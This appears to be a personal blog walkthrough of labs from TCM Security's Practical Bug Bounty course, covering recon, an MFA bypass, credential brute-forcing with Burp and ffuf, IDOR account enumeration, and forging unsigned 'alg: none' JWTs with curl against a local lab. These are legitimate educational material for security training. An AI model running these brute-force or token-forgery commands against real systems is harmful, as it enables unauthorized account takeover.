September 4, 2026
TCM โ Practical BUG BOUNTY : Part 1 Walkthrough
Practical Bug Bounty โ Notes & Lab Walkthroughs
By Shendepiyush
4 min read
Practical Bug Bounty โ Notes & Lab Walkthroughs
Personal notes and lab walkthroughs from TCM Security's Practical Bug Bounty course. Covers recon methodology, authentication attacks, injection vulnerabilities, XSS, SSRF, CSRF, file upload bugs, and more โ all practiced against a locally hosted lab environment (private IP range
192.168.x.x).
โ ๏ธ Disclaimer: These notes are for educational purposes only, based on an authorized local lab environment. Do not run these techniques against systems you don't own or don't have explicit written permission to test.
Table of Contents
- Lab Environment Setup
- Tooling Setup
- Essential Resources
- Core Methodology
-
- HTTP & DNS Basics
-
- Fingerprinting Web Technologies
-
- Directory Enumeration & Brute-Forcing
-
- Subdomain Enumeration
-
- Burp Suite Setup
- Vulnerability Walkthroughs
-
- Attacking MFA & Authentication
-
- API Security Testing
-
- Testing with Authorize (Access Control)
-
- LFI / RFI (File Inclusion)
-
- SQL Injection
-
- Cross-Site Scripting (XSS)
-
- Command Injection
-
- Server-Side Template Injection (SSTI)
-
- XXE (XML External Entity Injection)
-
- Insecure File Upload
-
- Automated Scanners
-
- Cross-Site Request Forgery (CSRF)
-
- Server-Side Request Forgery (SSRF)
-
- Open Redirect
-
- Bypassing Input Validation & Encoding
- Key Takeaways
Lab Environment Setup
All labs in this course are self-hosted (locally, in a private/VM network โ seen throughout these notes as 192.168.106.129). No labs are hosted publicly by TCM; you build the vulnerable environment yourself before starting.
Lab files (zip): ๐ CoderBlee/Practical-Bug-Bounty---TCM-Security-Course โ download the ZIP from this repo; it includes the full lab setup guide for this course.
General setup flow (typical for this course's LAMP-based labs โ confirm exact steps against the repo's own README/setup guide, as file names/commands may be updated):
- Get a Linux environment ready โ Kali Linux VM recommended (2โ3 VMs total if running attacker + victim separately).
- Download & extract the lab files from the link above.
- Set up the web stack the labs expect (commonly PHP + MySQL โ via XAMPP/LAMP or Docker, depending on how the repo packages it):
- If Docker-based: run the provided
docker-compose up(or equivalent script) to build and start the vulnerable containers. - If XAMPP/LAMP-based: place the extracted lab folder into your web server's document root (e.g.
/var/www/html/), start Apache + MySQL, and import any provided.sqldatabase file.
- Note the local IP of your lab VM (
ip a/ifconfig) โ you'll use this instead of192.168.106.129if it differs on your machine. - Verify access by browsing to
http://<lab-ip>/labs/in your attacker VM's browser. - Reset the database between repeated attempts on the same lab if your changes (bio edits, added users, etc.) need to be undone โ the repo setup guide usually includes a reset script or SQL import for this.
๐ Always double-check the exact install commands in the linked repo's setup guide before starting โ package/Docker instructions can change over time.
Tooling Setup
- Install Jython in Kali (required for running Burp Suite extensions written in Python, e.g. Autorize). Add the downloaded Jython
.jarunder Burp โ Extender โ Options โ Python Environment.
Essential Resources
Purpose Link Auth/MFA attack checklist AppSec Explained โ Attacking MFA Practice API Cat Facts API JWT decoder jwt.io Request catcher (netcat alternative) webhook.site Payloads (all vuln types) PayloadsAllTheThings Burp Intruder payload lists 1N3/IntruderPayloads ยท BurpIntruderPayloads (path traversal fuzzing) Command injection cheat sheet HackTricks โ Command Injection SQL syntax reference w3schools.com Stored XSS testing Firefox Multi-Account Containers extension
Core Methodology
The methodology always wins, not the tool.
1. HTTP & DNS Basics
HTTP Response Codes:
Range Meaning 1xx Informational 2xx Successful 3xx Redirection 4xx Client error 5xx Server error
DNS (Domain Name System): Sits above the IP layer โ translates a human-readable domain name to the server's underlying IP address.
2. Fingerprinting Web Technologies
Before accepting any bug bounty challenge:
- Do thorough recon using public information only
- Read the program's rules carefully (in-scope vs out-of-scope)
Recon tools:
Tool Type Use builtwith.com Website Identify tech stack securityheaders.com Website Check security headers Wappalyzer Browser extension Tech fingerprinting Nmap CLI tool Port/service scanning curl -i <url> CLI Quick header check
3. Directory Enumeration & Brute-Forcing
- Scan open ports with Nmap
- Brute-force directories with ffuf (fast, best for this)
- dirb / dirbuster (remember to background dirbuster with &)
4. Subdomain Enumeration
Method Command Google Dorking site:target.com crt.sh Certificate transparency search subfinder subfinder -d target.com assetfinder โญ (best tool) assetfinder target.com amass (slow but thorough) amass enum -d target.com -o result.txt httprobe Probe for live HTTP(S) hosts gowitness Screenshot discovered hosts
5. Burp Suite Setup
To capture traffic for only the target site: Target tab โ Scope โ Include in scope โ Add โ paste target URL
Vulnerability Walkthroughs
6. Attacking MFA & Authentication
Lab: Auth 0x02 โ MFA Bypass
Target account: jeremy | Test credentials: jessamy:pasta
- Log in as
jessamy:pastaand complete the MFA challenge, then log out. - Log in again with
jessamy:pasta. When prompted for the MFA code, intercept the request in Burp. - Change the
usernamefield fromjessamytojeremy, keep the same MFA code (stilljessamy's), and forward. - MFA is bypassed โ the code isn't actually bound to the account it's checked against.
Lab: Auth 0x03 โ Credential Brute-Force
- Intercept a login attempt with a guessed username/password.
- Send to Intruder โ add payload positions on both fields โ select Cluster Bomb attack.
- Username wordlist:
find /usr/share/seclists -name '*user*'
- Password wordlist (top 10 only):
head /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-10.txt
- Start the attack and sort by response length โ the outlier reveals valid credentials.
Alternative โ ffuf:
# Save intercepted request as req1.txt
ffuf -request req1.txt -request-proto http -mode clusterbomb \
-w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZUSER \
-w pass.txt:FUZZPASS# Save intercepted request as req1.txt
ffuf -request req1.txt -request-proto http -mode clusterbomb \
-w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZUSER \
-w pass.txt:FUZZPASSCheck the response with the max content length โ that's the successful login.
Lab: Auth 0x04 / IDOR 0x01 โ Account Enumeration
The lab exposes an account listing with a sequential account number in the URL. Goal: find the admin account.
- Generate a number list with Python:
for i in range(1, 5000): print(i)
- Save output to
numbers.txt. - Brute-force the
accountparameter in Burp Intruder with this list, and look for theadminuser type.
Alternative โ ffuf:
ffuf -u 'http://192.168.106.129/labs/e0x02.php?account=FUZZ' -w numbers.txt -mr 'admin'ffuf -u 'http://192.168.106.129/labs/e0x02.php?account=FUZZ' -w numbers.txt -mr 'admin'7. API Security Testing
Lab: APIs 0x01 / Auth 0x05 โ JWT Manipulation
- Log in via API and grab the JWT:
curl -X POST http://192.168.106.129/labs/api/login.php \ -H "Content-Type: application/json" \ -d '{"username":"jeremy","password":"cheesecake"}'
- Decode the token at jwt.io, or manually:
echo "<token>" | base64 -d
- Use the token to fetch account data:
curl -X GET "http://localhost/labs/api/account.php?token=<JWT>" \ -H "Content-Type: application/json"
- Update bio using an unsigned JWT (
alg: none) โ the API doesn't verify the signature:
bash
curl -X PUT http://localhost/labs/api/account.php \
-H "Content-Type: application/json" \
-d '{"token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.","username":"jeremy","bio":"bug bounty hunter"}'curl -X PUT http://localhost/labs/api/account.php \
-H "Content-Type: application/json" \
-d '{"token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.","username":"jeremy","bio":"bug bounty hunter"}'- Verify the change with the same GET request as step 3.
- Broken Object Level Authorization test: using
jeremy's token, attempt to updatejessamy's bio โ if it succeeds, that's a BOLA/IDOR vulnerability via the API.